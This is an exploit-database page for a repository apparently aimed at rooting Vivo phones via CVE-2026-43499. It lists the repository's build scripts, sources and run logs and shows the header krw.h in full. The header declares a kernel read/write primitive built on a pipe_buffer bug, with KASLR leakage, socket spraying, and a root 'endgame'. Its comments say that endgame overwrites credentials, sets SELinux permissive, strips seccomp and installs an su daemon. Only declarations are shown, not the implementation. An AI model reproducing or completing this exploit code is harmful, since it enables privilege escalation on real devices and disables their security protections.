Exploit databaseDownload repository ZIP
GH-594a156883cbf863201dae6cf96323f3
zenyxx-xd/rootmyvivo-exploit
Sources for CVE-2026-43499
165 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files66
zenyxx-xd/rootmyvivo-exploitRevision 201ffc023401
- ↑..Parent directory
- build/
- build_64560/
- tools/
- RESUME.md
- Z9T-PORT-PLAN.md
- afunix.cc
- build_64560.bat
- build_afunix.bat
- build_z9t.bat
- campaign.log
- krw.h
- krw_va.c
- overnight.log
- root_afunix.c
- run1.log
- run10.log
- run11.log
- run12.log
- run13.log
- run14.log
- run15.log
- run16.log
- run17.log
- run18.log
- run19.log
- run2.log
- run20.log
- run21.log
- run22.log
- run23.log
- run24.log
- run25.log
- run26.log
- run27.log
- run28.log
- run29.log
- run3.log
- run30.log
- run31.log
- run32.log
- run33.log
- run34.log
- run35.log
- run36.log
- run37.log
- run38.log
- run39.log
- run3_diag.txt
- run4.log
- run40.log
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
afunix/krw.h
Text · 2,194 bytes/*
* krw.h — bridge between the CVE-2026-53361 pipe_buffer page primitive
* and kernel-VA read/write, plus the RMV endgame entry point.
*/
#ifndef AFUNIX_KRW_H
#define AFUNIX_KRW_H
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
#define AFUNIX_PAGE_SIZE 4096
#define AFUNIX_ORDER2 (AFUNIX_PAGE_SIZE << 2) /* 16 KiB */
/* Set by krw_init(): runtime kernel image base (KASLR) and the leaked
* pipe_buffer anchors. */
extern uint64_t g_kaslr_base;
extern uint64_t g_leaked_page; /* struct page * of the leaked buffer */
extern uint64_t g_leaked_ops; /* anon_pipe_buf_ops runtime VA */
extern int g_krw_ready;
/* Counters for diagnostics. */
extern uint64_t g_krw_reads, g_krw_writes, g_krw_cycles_failed;
/*
* Bootstrap: derive kaslr_base from leaked_ops, validate the leaked
* struct page against VMEMMAP_START and the kernel image against the
* linux_banner, and take ownership of the spray socket + krw pipe fds.
* Returns 0 (and leaves the attempt cleanly failed) on any mismatch.
*/
int krw_init(uint64_t leaked_page, uint64_t leaked_ops,
int spray_sv_read, int spray_sv_write,
int krw_pipe_read, int krw_pipe_write);
/* VA-based primitives. VA may be a kernel image VA (post-KASLR) or a
* direct-map VA. Each op stays inside one physical page; larger accesses
* are split internally. Returns 1 on success. */
int krw_read_data(uintptr_t va, void *out, size_t len);
int krw_write_data(uintptr_t va, const void *in, size_t len);
uint64_t krw_read64(uintptr_t va);
uint32_t krw_read32(uintptr_t va);
int krw_write64(uintptr_t va, uint64_t v);
int krw_write32(uintptr_t va, uint32_t v);
/* Runtime image VA of an image-relative offset (from target.h *_OFF). */
uint64_t krw_img(uint64_t image_off);
/* Pointer classification. */
int krw_is_direct(uint64_t va); /* direct-map (slab) range */
int krw_is_image(uint64_t va); /* kernel image (post-KASLR) range */
/* RMV endgame (root_afunix.c): vr.ko neutralize + cred overwrite +
* selinux permissive + seccomp strip + embedded su daemon. */
int install_afunix_root(void);
#ifdef __cplusplus
}
#endif
#endif /* AFUNIX_KRW_H */